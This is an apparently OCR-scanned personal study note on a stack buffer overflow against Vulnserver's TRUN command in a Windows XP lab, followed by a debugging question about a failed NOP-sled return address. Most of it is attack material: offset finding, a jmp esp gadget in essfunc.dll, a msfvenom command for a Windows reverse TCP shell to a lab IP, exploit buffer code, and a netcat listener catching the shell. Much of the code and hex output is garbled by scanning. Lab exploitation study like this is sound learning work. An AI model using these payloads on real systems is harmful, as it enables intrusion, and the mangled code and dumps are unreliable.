Windows overflow

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Sunday, 24 November 2019 3:08 PM
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```
Links:
```

<u>/32-bit-windows-buffer-overflows</u> 0/12/introducing-vulnserver.html nttp://www.thegrevcorn

```
Found offset to be -> 2003 Bytes
```

```
* 2003
oof
bof += struct.pack("<I",0xdeadbeef)
```

```
EAX 00BFF22C ASCII "TRUN /.:/AAAA
ECX 003E65BC
EDX 00000000
EBX 00000088
ESP 00BFFA0C
EBP 41414141
ESI 004C2000
EDI 004C20F0
EIP DEADBEEF
```

When I follow the tutorial and do jmp esp trick it worked:

```
Module info
    | Top
                                  | Rebase | SafeSEH | ASLR | NXCompat | OS D11 | Version, Modulename & Path
0x62500000 | 0x62508000 | 0x00008000 | False | False
                                                     | False | False
                                                                       | False
                                                                               | -1.0- [essfunc.dll] (C:\B0\vulnserver\essfunc.dll
```

```
[+] Results : 
0x625011af
               \xff\xe4 | (PAGE_EXECUTE_READ) [essfunc.dl1] ASLR: False, Rebase: False, SafeSEH: False, OS: False, U-1.0- (C:\BO\vulnserver\essfunc
```

```
<mark>rootgkali:~/pwn/bo</mark># msfvenom -p windows/shell_reverse_tcp LHOST=192.168.218.163 LPORT=4444
EXITFUNC=thread -f c -a x86 -b "\x00"
-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
ound 11 compatible encoders
ttempting to encode payload with 1 iterations of x86/shikata_ga_nai
86/shikata_ga_nai succeeded with size 351 (iteration=0)
86/shikata ga nai chosen with final size 351
```

```
op = '\x90' * 32
ret_addr = struct.pack("<I",0x625011af)
oof += ret addr
oof += nop
oof += shellcode
```

```
kali:~/pwn/bo# nc -nlvp 4444
istening on [any] 4444 .
connect to [192.168.218.163] from (UNKNOWN) [192.168.218.164] 1238
Microsoft Windows XP [Version 5.1.2600]
C) Copyright 1985-2001 Microsoft Corp.
:\B0\vulnserver>
```

But when I tried to fit shellcode inside buffer, something goes wrong:

Since OFFSET = 2003 :

NOP = 1652 SHELLCODE = 351

NOP + SHELLCODE = 2003

```
of = "\x90" * 1652
  += shellcode
of += struct.pack "<I",0xdeadbeef</pre>
```

```
00BFF22C ASCII
ECX 003E65BC
EDX 00000000
EBX 00000088
EBX 00000088
ESP 00BFFA0C
EBP 47BABFAE
ESI 004C2000
EDI 004C20F0
EIP DEADBEEF
```

```
Transition from NOP to shellcode

00BFF87C 90 90 90 90 90 90 90 90

00BFF88C 90 90 90 90 90 90 90

00BFF88C 90 90 90 90 90 90 90

00BFF89C 90 90 90 90 90 90 90

00BFF89C 90 90 90 90 90 90 90

00BFF8AC 90 90 90 90 90 90 90

00BFF8AC 6F 5D 14 5C D9 74 24 F4 0]■\012015±ER1₩■

00BFF8BC 03 77 17 83 80 A1 F6 A9 ■\01201≡■■\012015

00BFF8BC 4A2 B2 75 51 5A 43 1A DB ¢²uQZCDÛ
```

BUT WHEN I pick a return address that contains a NOP value for example: 0x00BFF88C, since it will jump into nopsled and straight into she

```
00BFF88C 90 90 90 90 90 90 90 90 00

00BFF88C 90 90 90 90 90 90 90 90 00

00BFF89C 90 90 90 90 90 90 90 90 90

00BFF89C 90 90 90 90 90 90 90 90 90

00BFF89C 90 90 90 90 90 90 90 90 90

00BFF8AC 90 90 90 90 90 90 90 90

00BFF8AC 90 90 90 90 90 DA CF BE ****

00BFF8AC 90 90 90 90 90 DA CF BE *****

00BFF8AC 90 90 90 90 90 DA CF BE *****

00BFF8BC 03 77 17 83 80 A1 F6 A9 ****

00BFF8C 42 B2 75 51 5A 43 1A DB ¢ 2 uQZC ***

Exploit code

bof = "\x90" * 1652

bof += shellcode

bof += struct.pack("<I",0x00BFF88C)

Program just crashes

EAX 71AB0000 OFFSET WS2_32.#494

ECX 7C801BFA kernel32.7C801BFA

EDX 00240608

EBX 00000088

ESY 000BFF8CA

ESI 0000EGBD

EDI 00BFF961
```

Since 0x625011af doesn't contain any null bytes 0x00, does it mean the Value contained inside the 0x625011af is used the same way like return oriented programming? So when exploit execute it is

[Buffer] -> [Return address (jmp esp)] -> [EIP + 0x4 (\x90)]